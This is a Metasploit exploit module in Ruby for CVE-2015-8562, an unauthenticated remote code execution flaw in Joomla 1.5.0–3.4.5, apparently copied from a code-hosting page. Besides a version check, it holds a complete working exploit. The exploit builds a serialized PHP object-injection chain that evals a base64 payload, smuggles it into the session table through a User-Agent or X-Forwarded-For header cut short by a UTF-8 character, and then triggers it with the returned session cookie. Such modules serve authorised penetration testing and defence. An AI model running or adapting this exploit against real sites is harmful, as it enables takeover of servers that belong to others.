180 lines
7.3 KiB
Ruby
180 lines
7.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HTTP::Joomla
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
|
|
By storing user supplied headers in the databases session table it's possible to truncate the input
|
|
by sending an UTF-8 character. The custom created payload is then executed once the session is read
|
|
from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
|
|
In later versions the deserialisation of invalid session data stops on the first error and the
|
|
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
|
|
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Marc-Alexandre Montpas', # discovery
|
|
'Christian Mehlmauer' # metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-8562'],
|
|
['EDB', '38977'], # PoC from Gary
|
|
['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent"
|
|
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
|
|
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
|
|
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
|
|
['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'],
|
|
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
|
|
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
|
|
['URL', 'https://bugs.php.net/bug.php?id=70219']
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]],
|
|
'DisclosureDate' => 'Dec 14 2015',
|
|
'DefaultTarget' => 0)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({'uri' => target_uri.path })
|
|
|
|
unless res
|
|
vprint_error("Connection timed out")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
unless res.headers['X-Powered-By']
|
|
vprint_error("Unable to determine the PHP version.")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
online = joomla_and_online?
|
|
unless online
|
|
vprint_error("Unable to detect joomla on #{target_uri.path}")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
|
|
version = Gem::Version.new(php_version)
|
|
vulnerable = false
|
|
|
|
# check for ubuntu and debian specific versions. Was fixed in
|
|
# * 5.5.9+dfsg-1ubuntu4.13
|
|
# * 5.3.10-1ubuntu3.20
|
|
# * 5.4.45-0+deb7u1
|
|
# Changelogs (search for CVE-2015-6835 or #70219):
|
|
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
|
|
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
|
|
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
|
|
if rest && rest.include?('ubuntu')
|
|
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
|
|
vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")
|
|
|
|
if version > Gem::Version.new('5.5.9')
|
|
vulnerable = false
|
|
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
|
|
vulnerable = false
|
|
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
|
|
vulnerable = false
|
|
else
|
|
vulnerable = true
|
|
end
|
|
elsif rest && rest.include?('+deb')
|
|
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
|
|
vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")
|
|
|
|
if version > Gem::Version.new('5.4.45')
|
|
vulnerable = false
|
|
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
|
|
vulnerable = false
|
|
else
|
|
vulnerable = true
|
|
end
|
|
else
|
|
vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
|
|
vulnerable = true if version <= Gem::Version.new('5.4.44')
|
|
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
|
|
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
|
|
end
|
|
|
|
unless vulnerable
|
|
vprint_error('This module currently does not work against this PHP version')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
j_version = joomla_version
|
|
unless j_version.nil?
|
|
vprint_status("Detected Joomla version #{j_version}")
|
|
return Exploit::CheckCode::Appears if Gem::Version.new(j_version) < Gem::Version.new('3.4.6')
|
|
end
|
|
|
|
return Exploit::CheckCode::Detected if online
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def get_payload(header_name)
|
|
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
|
|
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
|
|
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
|
|
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
|
|
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}"
|
|
end
|
|
|
|
def print_status(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_error(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def exploit
|
|
if check == Exploit::CheckCode::Safe && !datastore['FORCE']
|
|
print_error('Target seems safe, so we will not continue.')
|
|
return
|
|
end
|
|
|
|
print_status("Sending payload ...")
|
|
header_name = Rex::Text.rand_text_alpha_upper(5)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => target_uri.path,
|
|
'headers' => { datastore['HEADER'] => get_payload(header_name) }
|
|
})
|
|
fail_with(Failure::Unknown, 'No response') if res.nil?
|
|
session_cookie = res.get_cookies
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => target_uri.path,
|
|
'cookie' => session_cookie,
|
|
'headers' => {
|
|
header_name => Rex::Text.encode_base64(payload.encoded)
|
|
}
|
|
})
|
|
end
|
|
end
|